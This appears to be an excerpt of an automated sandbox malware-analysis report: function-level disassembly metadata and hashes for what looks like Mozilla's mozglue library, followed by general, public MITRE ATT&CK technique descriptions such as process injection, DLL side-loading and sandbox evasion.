Instruction ID: 085892628cb511d9daa69c747a9198fe37d89a8cd4a206e25a1ff47392ecb58f
Opcode Fuzzy Hash: 785ff9ade3d190100fa374c508d98d529913f0a36e5f6afdebc86a33805d9ccd
Instruction Fuzzy Hash: B6517674602641CFD701CF18C184B96BBF1BF4A318F18C2AAD8595BB56CB35E885CF92

Function 6CA3BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CA3BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA3BE8F

Strings

0, xrefs: 6CA3BE5B

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 801357bca4dccdf73840e9bedf395ba2bb88bd5de5ba38b3719c328963b8ca57
Instruction ID: 96b2de95cb009af7269a6c10d36364fc4968dd8fc25620289b0def6407d39976
Opcode Fuzzy Hash: 801357bca4dccdf73840e9bedf395ba2bb88bd5de5ba38b3719c328963b8ca57
Instruction Fuzzy Hash: E941E471908B55CFC301CF39D4A1A9BB7F5AF8A388F109B1DF88997651D730D9898B82

Function 6CA73CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA73D19
mozalloc_abort.MOZGLUE(?), ref: 6CA73D6C

Strings

d, xrefs: 6CA73D58

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: e684ddc4dfdf7c33a1801cadb40d711440982dc1ae69b398ea35680e63abf10f
Instruction ID: 890b70378ab7b7acb3a2abb941444b28ecf7b2bdafc781ea99512979edc10a0c
Opcode Fuzzy Hash: e684ddc4dfdf7c33a1801cadb40d711440982dc1ae69b398ea35680e63abf10f
Instruction Fuzzy Hash: 28113439E04789DBDB148BA9C9144EDB775FF86308B498718DC8597612EB30A5C9C360

Function 6CA44730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CA444B2,6CABE21C,6CABF7F8), ref: 6CA4473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CA4474A

Strings

GetNtLoaderAPI, xrefs: 6CA44744

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: bf53c6ad0af1d51cbe8763ae6a82cdf52b2792b1b6bf1937e26f86d8a07472af
Instruction ID: c138ccc56005f4708e61f433ef8385fa3186bbc54f895db7d8378f089ff06a08
Opcode Fuzzy Hash: bf53c6ad0af1d51cbe8763ae6a82cdf52b2792b1b6bf1937e26f86d8a07472af
Instruction Fuzzy Hash: 210175793013159FDF089FA9C8886197BF9FB4B315B098469E906D7720DB74D8038FA5

Function 6CA96DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CA96E22
__Init_thread_footer.LIBCMT ref: 6CA96E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CA96E1D

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 763ad67341b328f3420a79180d53876c9cc41b364cf02e97549b427e13496034
Instruction ID: 65c3e3ca13c8ecc4f1fe5aac275fd5a963be5c2dc00f25d8504e42e7b5e861d3
Opcode Fuzzy Hash: 763ad67341b328f3420a79180d53876c9cc41b364cf02e97549b427e13496034
Instruction Fuzzy Hash: 36F0907D6093C38EDA048A6CCD61AD177B6BB16218F0C4169CC0546F61D731A987CAAA

Function 6CA49E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CA49EEF

Strings

NaN, xrefs: 6CA49EC1
Infinity, xrefs: 6CA49EB7

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 958008163e6d35c521329dbf5377b550d96a384db76eae5cd428ae6e617c3227
Instruction ID: 65cffe94d90d1d3631f78286bdaaf894155949d047150acad94cc0a9a2b63db0
Opcode Fuzzy Hash: 958008163e6d35c521329dbf5377b550d96a384db76eae5cd428ae6e617c3227
Instruction Fuzzy Hash: 9CF03C7D600343CEDA088F6CDE46B903375B74731DF288A5DC9041AB60D7356ADB9B9A

Function 6CA4BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CA4BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CA4BEF5

Strings

cryptbase.dll, xrefs: 6CA4BEF0

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 49b4b01c4bd86f3e51ef2e278def29c240cb1f344030f0c96147b8e5ff1951ae
Instruction ID: df948c163134ac1994cf9b3b249f1ff1664ea69c3063064de0de76fedf003048
Opcode Fuzzy Hash: 49b4b01c4bd86f3e51ef2e278def29c240cb1f344030f0c96147b8e5ff1951ae
Instruction Fuzzy Hash: 2BD0A731180608EAC6446A60AC06F193778A701715F10C120F30554871C7B19491CB54

Function 6CA350E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CA34E9C,?,?,?,?,?), ref: 6CA3510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CA34E9C,?,?,?,?,?), ref: 6CA35167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6CA35196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CA34E9C), ref: 6CA35234

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 2628a1cd1f4236497d4f67158d5cb77a9f760e8a3ed2b49083404b7c6e3d9932
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 14919D75505626CFCB14CF0CC4A0A56BBA1FF89318B288688EC599B715D772FC86CBE0

Function 6CA708F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CABE7DC), ref: 6CA70918
LeaveCriticalSection.KERNEL32(6CABE7DC), ref: 6CA709A6
EnterCriticalSection.KERNEL32(6CABE7DC,?,00000000), ref: 6CA709F3
LeaveCriticalSection.KERNEL32(6CABE7DC), ref: 6CA70ACB

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 5a337f33db402a578f2ea3cb4b5e84279dcf9d906873de96607c6ef650da88ae
Instruction ID: 2001f326cfa2312c36964a55209d3fd513b9080b727a8905e698042f9396e9a1
Opcode Fuzzy Hash: 5a337f33db402a578f2ea3cb4b5e84279dcf9d906873de96607c6ef650da88ae
Instruction Fuzzy Hash: 06518C3A701755CFEF189A99C45466633B5FB81B24B29C13AD865D3F90C732E8C287E4

Function 6CA8B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CA8B2C9,?,?,?,6CA8B127,?,?,?,?,?,?,?,?,?,6CA8AE52), ref: 6CA8B628

Part of subcall function 6CA890E0: free.MOZGLUE(?,00000000,?,?,6CA8DEDB), ref: 6CA890FF
Part of subcall function 6CA890E0: free.MOZGLUE(?,00000000,?,?,6CA8DEDB), ref: 6CA89108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CA8B2C9,?,?,?,6CA8B127,?,?,?,?,?,?,?,?,?,6CA8AE52), ref: 6CA8B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CA8B2C9,?,?,?,6CA8B127,?,?,?,?,?,?,?,?,?,6CA8AE52), ref: 6CA8B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CA8B127,?,?,?,?,?,?,?,?), ref: 6CA8B74D

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b2382b109bdb22d4f213ff8990fbd93d2e507ad317311f49648746e32ed8bcc1
Instruction ID: 2237c2e3ac13fa9e4fb65f30ab0d1c2c9627cc708c34bc3d2fec50b8a3830eb0
Opcode Fuzzy Hash: b2382b109bdb22d4f213ff8990fbd93d2e507ad317311f49648746e32ed8bcc1
Instruction Fuzzy Hash: 1E51CD71A073168FDF14CF18ED806AEB7B1FF45304F598629D85AAB710D731A884CBA1

Function 6CA8DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CA7FF2A), ref: 6CA8DFFD

Part of subcall function 6CA890E0: free.MOZGLUE(?,00000000,?,?,6CA8DEDB), ref: 6CA890FF
Part of subcall function 6CA890E0: free.MOZGLUE(?,00000000,?,?,6CA8DEDB), ref: 6CA89108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CA7FF2A), ref: 6CA8E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CA7FF2A), ref: 6CA8E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CA7FF2A), ref: 6CA8E0FE

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 25f49d661ba856764a352e9a492c24b415b11e4910beb0b91f14393f21c91a06
Instruction ID: 2ab422be0c2215e15b1494fd9c6637e949072f9753be6d31e0bce9c8ecb52a98
Opcode Fuzzy Hash: 25f49d661ba856764a352e9a492c24b415b11e4910beb0b91f14393f21c91a06
Instruction Fuzzy Hash: B54102B9746206CFEB14CF68D88075A73B2BB46308F284939D556DB740E732E885CB92

Function 6CA86E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CA86EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CA86EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CA86F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA86F5C

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 3a79add733145a4b60a12c0e92df38dddd6854b4581eb213a5c81d452eaeb9c7
Instruction ID: 2f1fed4d9b9dab1f45831a14baad5839478fa5194c76092b39ce1baab4e8bb13
Opcode Fuzzy Hash: 3a79add733145a4b60a12c0e92df38dddd6854b4581eb213a5c81d452eaeb9c7
Instruction Fuzzy Hash: 8131E671A2160A8FEB04CF2CC941AAA73F9FB94304F548139D41AC7661EF31E999C7A1

Function 6CA9B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CA40A4D), ref: 6CA9B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CA40A4D), ref: 6CA9B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CA40A4D), ref: 6CA9B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CA40A4D), ref: 6CA9B67F

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: a71f09db7d7053d4edfe6a71d2cc504310ce967c76b0e8a1c3caf97eed8d4e69
Instruction ID: 6720282274938f12e3177f9f25e0df9d917efc67e98ee803193853ce5d738c86
Opcode Fuzzy Hash: a71f09db7d7053d4edfe6a71d2cc504310ce967c76b0e8a1c3caf97eed8d4e69
Instruction Fuzzy Hash: E0313471A102168FDB24CF59D845A9ABBF6FF80304F1A8629C906DB310EB31F955CBE0

Function 6CA6F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CA6F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CA6F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CA6F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CA6F668

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 67c72e3170e8e0e4904b93f57f5ef52cb41acde2c823397aa47ba07fccb2640a
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 0B314F71A00214AFD714CF5EDDC0A9BB7B5EB84358B18853DFA4A8BF04D632ED858B94

Function 6CA826B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA826C1
free.MOZGLUE(?), ref: 6CA826E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA826FF
free.MOZGLUE ref: 6CA8270D

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 5c7cb23f0e82003539eb14c7bd1e654d1c2cbe630d1eb72342eadf2d8bc68062
Instruction ID: 78d01d3e54d1865d679d71ddb89e4c819fddd1b8955661ba21ed50885fd4b86d
Opcode Fuzzy Hash: 5c7cb23f0e82003539eb14c7bd1e654d1c2cbe630d1eb72342eadf2d8bc68062
Instruction Fuzzy Hash: 04F0F9B27022415BFB009E19D884DA773B9EF4121CB544135FE16C3B01E331F999C6A5

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

